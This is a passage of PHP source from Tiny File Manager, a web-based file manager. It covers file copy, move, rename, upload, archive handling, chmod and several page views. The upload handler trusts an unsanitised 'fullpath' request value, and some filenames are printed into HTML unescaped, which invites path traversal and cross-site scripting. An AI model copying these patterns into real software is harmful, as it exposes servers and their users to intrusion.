fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // abs path from $from = FM_ROOT_PATH . '/' . $copy; // abs path to $dest = FM_ROOT_PATH; if (FM_PATH != '') { $dest .= '/' . FM_PATH; } $dest .= '/' . basename($from); // move? $move = isset($_GET['move']); // copy/move/duplicate if ($from != $dest) { $msg_from = trim(FM_PATH . '/' . basename($from), '/'); if ($move) { // Move and to != from so just perform move $rename = fm_rename($from, $dest); if ($rename) { fm_set_msg(sprintf('Moved from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } elseif ($rename === null) { fm_set_msg('File or folder with this path already exists', 'alert'); } else { fm_set_msg(sprintf('Error while moving from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } else { // Not move and to != from so copy with original name if (fm_rcopy($from, $dest)) { fm_set_msg(sprintf('Copied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($msg_from)), 'error'); } } } else { if (!$move){ //Not move and to = from so duplicate $msg_from = trim(FM_PATH . '/' . basename($from), '/'); $fn_parts = pathinfo($from); $extension_suffix = ''; if(!is_dir($from)){ $extension_suffix = '.'.$fn_parts['extension']; } //Create new name for duplicate $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-'.date('YmdHis').$extension_suffix; $loop_count = 0; $max_loop = 1000; // Check if a file with the duplicate name already exists, if so, make new name (edge case...) while(file_exists($fn_duplicate) & $loop_count < $max_loop){ $fn_parts = pathinfo($fn_duplicate); $fn_duplicate = $fn_parts['dirname'].'/'.$fn_parts['filename'].'-copy'.$extension_suffix; $loop_count++; } if (fm_rcopy($from, $fn_duplicate, False)) { fm_set_msg(sprintf('Copyied from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate))); } else { fm_set_msg(sprintf('Error while copying from <b>%s</b> to <b>%s</b>', fm_enc($copy), fm_enc($fn_duplicate)), 'error'); } } else{ fm_set_msg('Paths must be not equal', 'alert'); } } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Mass copy files/ folders if (isset($_POST['file'], $_POST['copy_to'], $_POST['finish']) && !FM_READONLY) { // from $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // to $copy_to_path = FM_ROOT_PATH; $copy_to = fm_clean_path($_POST['copy_to']); if ($copy_to != '') { $copy_to_path .= '/' . $copy_to; } if ($path == $copy_to_path) { fm_set_msg('Paths must be not equal', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if (!is_dir($copy_to_path)) { if (!fm_mkdir($copy_to_path, true)) { fm_set_msg('Unable to create destination folder', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // move? $move = isset($_POST['move']); // copy/move $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { // abs path from $from = $path . '/' . $f; // abs path to $dest = $copy_to_path . '/' . $f; // do if ($move) { $rename = fm_rename($from, $dest); if ($rename === false) { $errors++; } } else { if (!fm_rcopy($from, $dest)) { $errors++; } } } } if ($errors == 0) { $msg = $move ? 'Selected files and folders moved' : 'Selected files and folders copied'; fm_set_msg($msg); } else { $msg = $move ? 'Error while moving items' : 'Error while copying items'; fm_set_msg($msg, 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Rename if (isset($_GET['ren'], $_GET['to']) && !FM_READONLY) { // old name $old = $_GET['ren']; $old = fm_clean_path($old); $old = str_replace('/', '', $old); // new name $new = $_GET['to']; $new = fm_clean_path(strip_tags($new)); $new = str_replace('/', '', $new); // path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // rename if (fm_isvalid_filename($new) && $old != '' && $new != '') { if (fm_rename($path . '/' . $old, $path . '/' . $new)) { fm_set_msg(sprintf('Renamed from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new))); } else { fm_set_msg(sprintf('Error while renaming from <b>%s</b> to <b>%s</b>', fm_enc($old), fm_enc($new)), 'error'); } } else { fm_set_msg('Invalid characters in file name', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Download if (isset($_GET['dl'])) { $dl = $_GET['dl']; $dl = fm_clean_path($dl); $dl = str_replace('/', '', $dl); $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($dl != '' && is_file($path . '/' . $dl)) { fm_download_file($path . '/' . $dl, $dl, 1024); exit; } else { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } } // Upload if (!empty($_FILES) && !FM_READONLY) { $override_file_name = false; $f = $_FILES; $path = FM_ROOT_PATH; $ds = DIRECTORY_SEPARATOR; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $uploads = 0; $allowed = (FM_UPLOAD_EXTENSION) ? explode(',', FM_UPLOAD_EXTENSION) : false; $response = array ( 'status' => 'error', 'info' => 'Oops! Try again' ); $filename = $f['file']['name']; $tmp_name = $f['file']['tmp_name']; $ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION)); $isFileAllowed = ($allowed) ? in_array($ext, $allowed) : true; $targetPath = $path . $ds; if ( is_writable($targetPath) ) { $fullPath = $path . '/' . $_REQUEST['fullpath']; $folder = substr($fullPath, 0, strrpos($fullPath, "/")); if(file_exists ($fullPath) && !$override_file_name) { $ext_1 = $ext ? '.'.$ext : ''; $fullPath = str_replace($ext_1, '', $fullPath) .'_'. date('ymdHis'). $ext_1; } if (!is_dir($folder)) { $old = umask(0); mkdir($folder, 0777, true); umask($old); } if (empty($f['file']['error']) && !empty($tmp_name) && $tmp_name != 'none' && $isFileAllowed) { if (move_uploaded_file($tmp_name, $fullPath)) { // Be sure that the file has been uploaded if ( file_exists($fullPath) ) { $response = array ( 'status' => 'success', 'info' => "file upload successful" ); } else { $response = array ( 'status' => 'error', 'info' => 'Couldn\'t upload the requested file.' ); } } else { $response = array ( 'status' => 'error', 'info' => "Error while uploading files. Uploaded files $uploads", ); } } } else { $response = array ( 'status' => 'error', 'info' => 'The specified folder for upload isn\'t writeable.' ); } // Return the response echo json_encode($response); exit(); } // Mass deleting if (isset($_POST['group'], $_POST['delete']) && !FM_READONLY) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $errors = 0; $files = $_POST['file']; if (is_array($files) && count($files)) { foreach ($files as $f) { if ($f != '') { $new_path = $path . '/' . $f; if (!fm_rdelete($new_path)) { $errors++; } } } if ($errors == 0) { fm_set_msg('Selected files and folder deleted'); } else { fm_set_msg('Error while deleting items', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Pack files if (isset($_POST['group']) && (isset($_POST['zip']) || isset($_POST['tar'])) && !FM_READONLY) { $path = FM_ROOT_PATH; $ext = 'zip'; if (FM_PATH != '') { $path .= '/' . FM_PATH; } //set pack type $ext = isset($_POST['tar']) ? 'tar' : 'zip'; if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $files = $_POST['file']; if (!empty($files)) { chdir($path); if (count($files) == 1) { $one_file = reset($files); $one_file = basename($one_file); $zipname = $one_file . '_' . date('ymd_His') . '.'.$ext; } else { $zipname = 'archive_' . date('ymd_His') . '.'.$ext; } if($ext == 'zip') { $zipper = new FM_Zipper(); $res = $zipper->create($zipname, $files); } elseif ($ext == 'tar') { $tar = new FM_Zipper_Tar(); $res = $tar->create($zipname, $files); } if ($res) { fm_set_msg(sprintf('Archive <b>%s</b> created', fm_enc($zipname))); } else { fm_set_msg('Archive not created', 'error'); } } else { fm_set_msg('Nothing selected', 'alert'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Unpack if (isset($_GET['unzip']) && !FM_READONLY) { $unzip = $_GET['unzip']; $unzip = fm_clean_path($unzip); $unzip = str_replace('/', '', $unzip); $isValid = false; $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } if ($unzip != '' && is_file($path . '/' . $unzip)) { $zip_path = $path . '/' . $unzip; $ext = pathinfo($zip_path, PATHINFO_EXTENSION); $isValid = true; } else { fm_set_msg('File not found', 'error'); } if (($ext == "zip" && !class_exists('ZipArchive')) || ($ext == "tar" && !class_exists('PharData'))) { fm_set_msg('Operations with archives are not available', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if ($isValid) { //to folder $tofolder = ''; if (isset($_GET['tofolder'])) { $tofolder = pathinfo($zip_path, PATHINFO_FILENAME); if (fm_mkdir($path . '/' . $tofolder, true)) { $path .= '/' . $tofolder; } } if($ext == "zip") { $zipper = new FM_Zipper(); $res = $zipper->unzip($zip_path, $path); } elseif ($ext == "tar") { try { $gzipper = new PharData($zip_path); if (@$gzipper->extractTo($path,null, true)) { $res = true; } else { $res = false; } } catch (Exception $e) { //TODO:: need to handle the error $res = true; } } if ($res) { fm_set_msg('Archive unpacked'); } else { fm_set_msg('Archive not unpacked', 'error'); } } else { fm_set_msg('File not found', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } // Change Perms (not for Windows) if (isset($_POST['chmod']) && !FM_READONLY && !FM_IS_WIN) { $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } $file = $_POST['chmod']; $file = fm_clean_path($file); $file = str_replace('/', '', $file); if ($file == '' || (!is_file($path . '/' . $file) && !is_dir($path . '/' . $file))) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } $mode = 0; if (!empty($_POST['ur'])) { $mode |= 0400; } if (!empty($_POST['uw'])) { $mode |= 0200; } if (!empty($_POST['ux'])) { $mode |= 0100; } if (!empty($_POST['gr'])) { $mode |= 0040; } if (!empty($_POST['gw'])) { $mode |= 0020; } if (!empty($_POST['gx'])) { $mode |= 0010; } if (!empty($_POST['or'])) { $mode |= 0004; } if (!empty($_POST['ow'])) { $mode |= 0002; } if (!empty($_POST['ox'])) { $mode |= 0001; } if (@chmod($path . '/' . $file, $mode)) { fm_set_msg('Permissions changed'); } else { fm_set_msg('Permissions not changed', 'error'); } fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } /*************************** /ACTIONS ***************************/ // get current path $path = FM_ROOT_PATH; if (FM_PATH != '') { $path .= '/' . FM_PATH; } // check path if (!is_dir($path)) { fm_redirect(FM_SELF_URL . '?p='); } // get parent folder $parent = fm_get_parent_path(FM_PATH); $objects = is_readable($path) ? scandir($path) : array(); $folders = array(); $files = array(); $current_path = array_slice(explode("/",$path), -1)[0]; if (is_array($objects) && fm_is_exclude_items($current_path)) { foreach ($objects as $file) { if ($file == '.' || $file == '..') { continue; } if (!FM_SHOW_HIDDEN && substr($file, 0, 1) === '.') { continue; } $new_path = $path . '/' . $file; if (@is_file($new_path) && fm_is_exclude_items($file)) { $files[] = $file; } elseif (@is_dir($new_path) && $file != '.' && $file != '..' && fm_is_exclude_items($file)) { $folders[] = $file; } } } if (!empty($files)) { natcasesort($files); } if (!empty($folders)) { natcasesort($folders); } // upload form if (isset($_GET['upload']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path //get the allowed file extensions function getUploadExt() { $extArr = explode(',', FM_UPLOAD_EXTENSION); if(FM_UPLOAD_EXTENSION && $extArr) { array_walk($extArr, function(&$x) {$x = ".$x";}); return implode(',', $extArr); } return ''; } ?> <link href="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.css" rel="stylesheet"> <div class="path"> <div class="card mb-2 fm-upload-wrapper <?php echo fm_get_theme(); ?>"> <div class="card-header"> <ul class="nav nav-tabs card-header-tabs"> <li class="nav-item"> <a class="nav-link active" href="#fileUploader" data-target="#fileUploader"><i class="fa fa-arrow-circle-o-up"></i> <?php echo lng('UploadingFiles') ?></a> </li> <li class="nav-item"> <a class="nav-link" href="#urlUploader" class="js-url-upload" data-target="#urlUploader"><i class="fa fa-link"></i> Upload from URL</a> </li> </ul> </div> <div class="card-body"> <p class="card-text"> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back')?></a> <?php echo lng('DestinationFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <form action="<?php echo htmlspecialchars(FM_SELF_URL) . '?p=' . fm_enc(FM_PATH) ?>" class="dropzone card-tabs-container" id="fileUploader" enctype="multipart/form-data"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="fullpath" id="fullpath" value="<?php echo fm_enc(FM_PATH) ?>"> <div class="fallback"> <input name="file" type="file" multiple/> </div> </form> <div class="upload-url-wrapper card-tabs-container hidden" id="urlUploader"> <form id="js-form-url-upload" class="form-inline" onsubmit="return upload_from_url(this);" method="POST" action=""> <input type="hidden" name="type" value="upload" aria-label="hidden" aria-hidden="true"> <input type="url" placeholder="URL" name="uploadurl" required class="form-control" style="width: 80%"> <button type="submit" class="btn btn-primary ml-3"><?php echo lng('Upload') ?></button> <div class="lds-facebook"><div></div><div></div><div></div></div> </form> <div id="js-url-upload__list" class="col-9 mt-3"></div> </div> </div> </div> </div> <script src="https://cdnjs.cloudflare.com/ajax/libs/dropzone/5.5.1/min/dropzone.min.js"></script> <script> Dropzone.options.fileUploader = { timeout: 120000, maxFilesize: <?php echo MAX_UPLOAD_SIZE; ?>, acceptedFiles : "<?php echo getUploadExt() ?>", init: function () { this.on("sending", function (file, xhr, formData) { let _path = (file.fullPath) ? file.fullPath : file.name; document.getElementById("fullpath").value = _path; xhr.ontimeout = (function() { toast('Error: Server Timeout'); }); }).on("success", function (res) { let _response = JSON.parse(res.xhr.response); if(_response.status == "error") { toast(_response.info); } }).on("error", function(file, response) { toast(response); }); } } </script> <?php fm_show_footer(); exit; } // copy form POST if (isset($_POST['copy']) && !FM_READONLY) { $copy_files = isset($_POST['file']) ? $_POST['file'] : null; if (!is_array($copy_files) || empty($copy_files)) { fm_set_msg('Nothing selected', 'alert'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <div class="card <?php echo fm_get_theme(); ?>"> <div class="card-header"> <h6><?php echo lng('Copying') ?></h6> </div> <div class="card-body"> <form action="" method="post"> <input type="hidden" name="p" value="<?php echo fm_enc(FM_PATH) ?>"> <input type="hidden" name="finish" value="1"> <?php foreach ($copy_files as $cf) { echo '<input type="hidden" name="file[]" value="' . fm_enc($cf) . '">' . PHP_EOL; } ?> <p class="break-word"><?php echo lng('Files') ?>: <b><?php echo implode('</b>, <b>', $copy_files) ?></b></p> <p class="break-word"><?php echo lng('SourceFolder') ?>: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?><br> <label for="inp_copy_to"><?php echo lng('DestinationFolder') ?>:</label> <?php echo FM_ROOT_PATH ?>/<input type="text" name="copy_to" id="inp_copy_to" value="<?php echo fm_enc(FM_PATH) ?>"> </p> <p class="custom-checkbox custom-control"><input type="checkbox" name="move" value="1" id="js-move-files" class="custom-control-input"><label for="js-move-files" class="custom-control-label" style="vertical-align: sub"> <?php echo lng('Move') ?></label></p> <p> <button type="submit" class="btn btn-success"><i class="fa fa-check-circle"></i> <?php echo lng('Copy') ?></button> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>" class="btn btn-outline-primary"><i class="fa fa-times-circle"></i> <?php echo lng('Cancel') ?></a></b> </p> </form> </div> </div> </div> <?php fm_show_footer(); exit; } // copy form if (isset($_GET['copy']) && !isset($_GET['finish']) && !FM_READONLY) { $copy = $_GET['copy']; $copy = fm_clean_path($copy); if ($copy == '' || !file_exists(FM_ROOT_PATH . '/' . $copy)) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path ?> <div class="path"> <p><b>Copying</b></p> <p class="break-word"> Source path: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . $copy)) ?><br> Destination folder: <?php echo fm_enc(fm_convert_win(FM_ROOT_PATH . '/' . FM_PATH)) ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1"><i class="fa fa-check-circle"></i> Copy</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&copy=<?php echo urlencode($copy) ?>&finish=1&move=1"><i class="fa fa-check-circle"></i> Move</a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-times-circle"></i> Cancel</a></b> </p> <p><i>Select folder</i></p> <ul class="folders break-word"> <?php if ($parent !== false) { ?> <li><a href="?p=<?php echo urlencode($parent) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-chevron-circle-left"></i> ..</a></li> <?php } foreach ($folders as $f) { ?> <li> <a href="?p=<?php echo urlencode(trim(FM_PATH . '/' . $f, '/')) ?>&copy=<?php echo urlencode($copy) ?>"><i class="fa fa-folder-o"></i> <?php echo fm_convert_win($f) ?></a></li> <?php } ?> </ul> </div> <?php fm_show_footer(); exit; } if (isset($_GET['settings']) && !FM_READONLY) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang, $lang_list; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <i class="fa fa-cog"></i> <?php echo lng('Settings') ?> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <form id="js-settings-form" action="" method="post" data-type="ajax" onsubmit="return save_settings(this)"> <input type="hidden" name="type" value="settings" aria-label="hidden" aria-hidden="true"> <div class="form-group row"> <label for="js-language" class="col-sm-3 col-form-label"><?php echo lng('Language') ?></label> <div class="col-sm-5"> <select class="form-control" id="js-language" name="js-language"> <?php function getSelected($l) { global $lang; return ($lang == $l) ? 'selected' : ''; } foreach ($lang_list as $k => $v) { echo "<option value='$k' ".getSelected($k).">$v</option>"; } ?> </select> </div> </div> <?php //get ON/OFF and active class function getChecked($conf, $val, $txt) { if($conf== 1 && $val ==1) { return $txt; } else if($conf == '' && $val == '') { return $txt; } else { return ''; } } ?> <div class="form-group row"> <label for="js-err-rpt-1" class="col-sm-3 col-form-label"><?php echo lng('ErrorReporting') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($report_errors, 1, 'active') ?>"> <input type="radio" name="js-error-report" id="js-err-rpt-1" autocomplete="off" value="true" <?php echo getChecked($report_errors, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($report_errors, '', 'active') ?>"> <input type="radio" name="js-error-report" id="js-err-rpt-0" autocomplete="off" value="false" <?php echo getChecked($report_errors, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-hdn-1" class="col-sm-3 col-form-label"><?php echo lng('ShowHiddenFiles') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, 1, 'active') ?>"> <input type="radio" name="js-show-hidden" id="js-hdn-1" autocomplete="off" value="true" <?php echo getChecked($show_hidden_files, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($show_hidden_files, '', 'active') ?>"> <input type="radio" name="js-show-hidden" id="js-hdn-0" autocomplete="off" value="false" <?php echo getChecked($show_hidden_files, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-hid-1" class="col-sm-3 col-form-label"><?php echo lng('HideColumns') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($hide_Cols, 1, 'active') ?>"> <input type="radio" name="js-hide-cols" id="js-hid-1" autocomplete="off" value="true" <?php echo getChecked($hide_Cols, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($hide_Cols, '', 'active') ?>"> <input type="radio" name="js-hide-cols" id="js-hid-0" autocomplete="off" value="false" <?php echo getChecked($hide_Cols, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <label for="js-dir-1" class="col-sm-3 col-form-label"><?php echo lng('CalculateFolderSize') ?></label> <div class="col-sm-9"> <div class="btn-group btn-group-toggle" data-toggle="buttons"> <label class="btn btn-secondary <?php echo getChecked($calc_folder, 1, 'active') ?>"> <input type="radio" name="js-calc-folder" id="js-dir-1" autocomplete="off" value="true" <?php echo getChecked($calc_folder, 1, 'checked') ?> > ON </label> <label class="btn btn-secondary <?php echo getChecked($calc_folder, '', 'active') ?>"> <input type="radio" name="js-calc-folder" id="js-dir-0" autocomplete="off" value="false" <?php echo getChecked($calc_folder, '', 'checked') ?> > OFF </label> </div> </div> </div> <div class="form-group row"> <div class="col-sm-10"> <button type="submit" class="btn btn-success"> <i class="fa fa-check-circle"></i> <?php echo lng('Save'); ?></button> </div> </div> </form> </div> </div> </div> <?php fm_show_footer(); exit; } if (isset($_GET['help'])) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path global $cfg, $lang; ?> <div class="col-md-8 offset-md-2 pt-3"> <div class="card mb-2 <?php echo fm_get_theme(); ?>"> <h6 class="card-header"> <i class="fa fa-exclamation-circle"></i> <?php echo lng('Help') ?> <a href="?p=<?php echo FM_PATH ?>" class="float-right"><i class="fa fa-window-close"></i> <?php echo lng('Cancel')?></a> </h6> <div class="card-body"> <div class="row"> <div class="col-xs-12 col-sm-6"> <p><h3><a href="https://github.com/prasathmani/tinyfilemanager" target="_blank" class="app-v-title"> Tiny File Manager <?php echo VERSION; ?></a></h3></p> <p>Author: Prasath Mani</p> <p>Mail Us: <a href="mailto:ccpprogrammers@gmail.com">ccpprogrammers[at]gmail.com</a> </p> </div> <div class="col-xs-12 col-sm-6"> <div class="card"> <ul class="list-group list-group-flush"> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/wiki" target="_blank"><i class="fa fa-question-circle"></i> <?php echo lng('Help Documents') ?> </a> </li> <li class="list-group-item"><a href="https://github.com/prasathmani/tinyfilemanager/issues" target="_blank"><i class="fa fa-bug"></i> <?php echo lng('Report Issue') ?></a></li> <li class="list-group-item"><a href="javascript:latest_release_info('<?php echo VERSION; ?>');"><i class="fa fa-link"> </i> <?php echo lng('Check Latest Version') ?></a></li> <?php if(!FM_READONLY) { ?> <li class="list-group-item"><a href="javascript:show_new_pwd();"><i class="fa fa-lock"></i> <?php echo lng('Generate new password hash') ?></a></li> <?php } ?> </ul> </div> </div> </div> <div class="row js-new-pwd hidden mt-2"> <div class="col-12"> <form class="form-inline" onsubmit="return new_password_hash(this)" method="POST" action=""> <input type="hidden" name="type" value="pwdhash" aria-label="hidden" aria-hidden="true"> <div class="form-group mb-2"> <label for="staticEmail2"><?php echo lng('Generate new password hash') ?></label> </div> <div class="form-group mx-sm-3 mb-2"> <label for="inputPassword2" class="sr-only"><?php echo lng('Password') ?></label> <input type="text" class="form-control btn-sm" id="inputPassword2" name="inputPassword2" placeholder="Password" required> </div> <button type="submit" class="btn btn-success btn-sm mb-2"><?php echo lng('Generate') ?></button> </form> <textarea class="form-control" rows="2" readonly id="js-pwd-result"></textarea> </div> </div> </div> </div> </div> <?php fm_show_footer(); exit; } // file viewer if (isset($_GET['view'])) { $file = $_GET['view']; $quickView = (isset($_GET['quickView']) && $_GET['quickView'] == 1) ? true : false; $file = fm_clean_path($file, false); $file = str_replace('/', '', $file); if ($file == '' || !is_file($path . '/' . $file) || in_array($file, $GLOBALS['exclude_items'])) { fm_set_msg('File not found', 'error'); fm_redirect(FM_SELF_URL . '?p=' . urlencode(FM_PATH)); } if(!$quickView) { fm_show_header(); // HEADER fm_show_nav_path(FM_PATH); // current path } $file_url = FM_ROOT_URL . fm_convert_win((FM_PATH != '' ? '/' . FM_PATH : '') . '/' . $file); $file_path = $path . '/' . $file; $ext = strtolower(pathinfo($file_path, PATHINFO_EXTENSION)); $mime_type = fm_get_mime_type($file_path); $filesize = fm_get_filesize(filesize($file_path)); $is_zip = false; $is_gzip = false; $is_image = false; $is_audio = false; $is_video = false; $is_text = false; $is_onlineViewer = false; $view_title = 'File'; $filenames = false; // for zip $content = ''; // for text $online_viewer = strtolower(FM_DOC_VIEWER); if($online_viewer && $online_viewer !== 'false' && in_array($ext, fm_get_onlineViewer_exts())){ $is_onlineViewer = true; } elseif ($ext == 'zip' || $ext == 'tar') { $is_zip = true; $view_title = 'Archive'; $filenames = fm_get_zif_info($file_path, $ext); } elseif (in_array($ext, fm_get_image_exts())) { $is_image = true; $view_title = 'Image'; } elseif (in_array($ext, fm_get_audio_exts())) { $is_audio = true; $view_title = 'Audio'; } elseif (in_array($ext, fm_get_video_exts())) { $is_video = true; $view_title = 'Video'; } elseif (in_array($ext, fm_get_text_exts()) || substr($mime_type, 0, 4) == 'text' || in_array($mime_type, fm_get_text_mimes())) { $is_text = true; $content = file_get_contents($file_path); } ?> <div class="row"> <div class="col-12"> <?php if(!$quickView) { ?> <p class="break-word"><b><?php echo $view_title ?> "<?php echo fm_enc(fm_convert_win($file)) ?>"</b></p> <p class="break-word"> Full path: <?php echo fm_enc(fm_convert_win($file_path)) ?><br> File size: <?php echo fm_get_filesize($filesize) ?><?php if ($filesize >= 1000): ?> (<?php echo sprintf('%s bytes', $filesize) ?>)<?php endif; ?> <br> MIME-type: <?php echo $mime_type ?><br> <?php // ZIP info if (($is_zip || $is_gzip) && $filenames !== false) { $total_files = 0; $total_comp = 0; $total_uncomp = 0; foreach ($filenames as $fn) { if (!$fn['folder']) { $total_files++; } $total_comp += $fn['compressed_size']; $total_uncomp += $fn['filesize']; } ?> Files in archive: <?php echo $total_files ?><br> Total size: <?php echo fm_get_filesize($total_uncomp) ?><br> Size in archive: <?php echo fm_get_filesize($total_comp) ?><br> Compression: <?php echo round(($total_comp / $total_uncomp) * 100) ?>%<br> <?php } // Image info if ($is_image) { $image_size = getimagesize($file_path); echo 'Image sizes: ' . (isset($image_size[0]) ? $image_size[0] : '0') . ' x ' . (isset($image_size[1]) ? $image_size[1] : '0') . '<br>'; } // Text info if ($is_text) { $is_utf8 = fm_is_utf8($content); if (function_exists('iconv')) { if (!$is_utf8) { $content = iconv(FM_ICONV_INPUT_ENC, 'UTF-8//IGNORE', $content); } } echo 'Charset: ' . ($is_utf8 ? 'utf-8' : '8 bit') . '<br>'; } ?> </p> <p> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&dl=<?php echo urlencode($file) ?>"><i class="fa fa-cloud-download"></i> <?php echo lng('Download') ?></a></b> <b><a href="<?php echo fm_enc($file_url) ?>" target="_blank"><i class="fa fa-external-link-square"></i> <?php echo lng('Open') ?></a></b> <?php // ZIP actions if (!FM_READONLY && ($is_zip || $is_gzip) && $filenames !== false) { $zip_name = pathinfo($file_path, PATHINFO_FILENAME); ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZip') ?></a></b> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>&unzip=<?php echo urlencode($file) ?>&tofolder=1" title="UnZip to <?php echo fm_enc($zip_name) ?>"><i class="fa fa-check-circle"></i> <?php echo lng('UnZipToFolder') ?></a></b> <?php } if ($is_text && !FM_READONLY) { ?> <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>" class="edit-file"><i class="fa fa-pencil-square"></i> <?php echo lng('Edit') ?> </a></b> <b><a href="?p=<?php echo urlencode(trim(FM_PATH)) ?>&edit=<?php echo urlencode($file) ?>&env=ace" class="edit-file"><i class="fa fa-pencil-square-o"></i> <?php echo lng('AdvancedEditor') ?> </a></b> <?php } ?> <b><a href="?p=<?php echo urlencode(FM_PATH) ?>"><i class="fa fa-chevron-circle-left go-back"></i> <?php echo lng('Back') ?></a></b> </p> <?php } if($is_onlineViewer) { if($online_viewer == 'google') { echo '<iframe src="https://docs.google.com/viewer?embedded=true&hl=en&url=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } else if($online_viewer == 'microsoft') { echo '<iframe src="https://view.officeapps.live.com/op/embed.aspx?src=' . fm_enc($file_url) . '" frameborder="no" style="width:100%;min-height:460px"></iframe>'; } } elseif ($is_zip) { // ZIP content if ($filenames !== false) { echo '<code class="maxheight">'; foreach ($filenames as $fn) { if ($fn['folder']) { echo '<b>' . fm_enc($fn['name']) . '</b><br>'; } else { echo $fn['name'] . ' (' . fm_get_filesize($fn['filesize']) . ')<br>'; } } echo '</code>'; } else { echo '<p>Error while fetching archive info</p>'; } } elseif ($is_image) { // Image content if (in_array($ext, array('gif', 'jpg', 'jpeg', 'png', 'bmp', 'ico', 'svg'))) { echo '<p><img src="' . fm_enc($file_url) . '" alt="" class="preview-img"></p>'; } } elseif ($is_audio) { // Audio content echo '<p><audio src="' . fm_enc($file_url) . '" controls 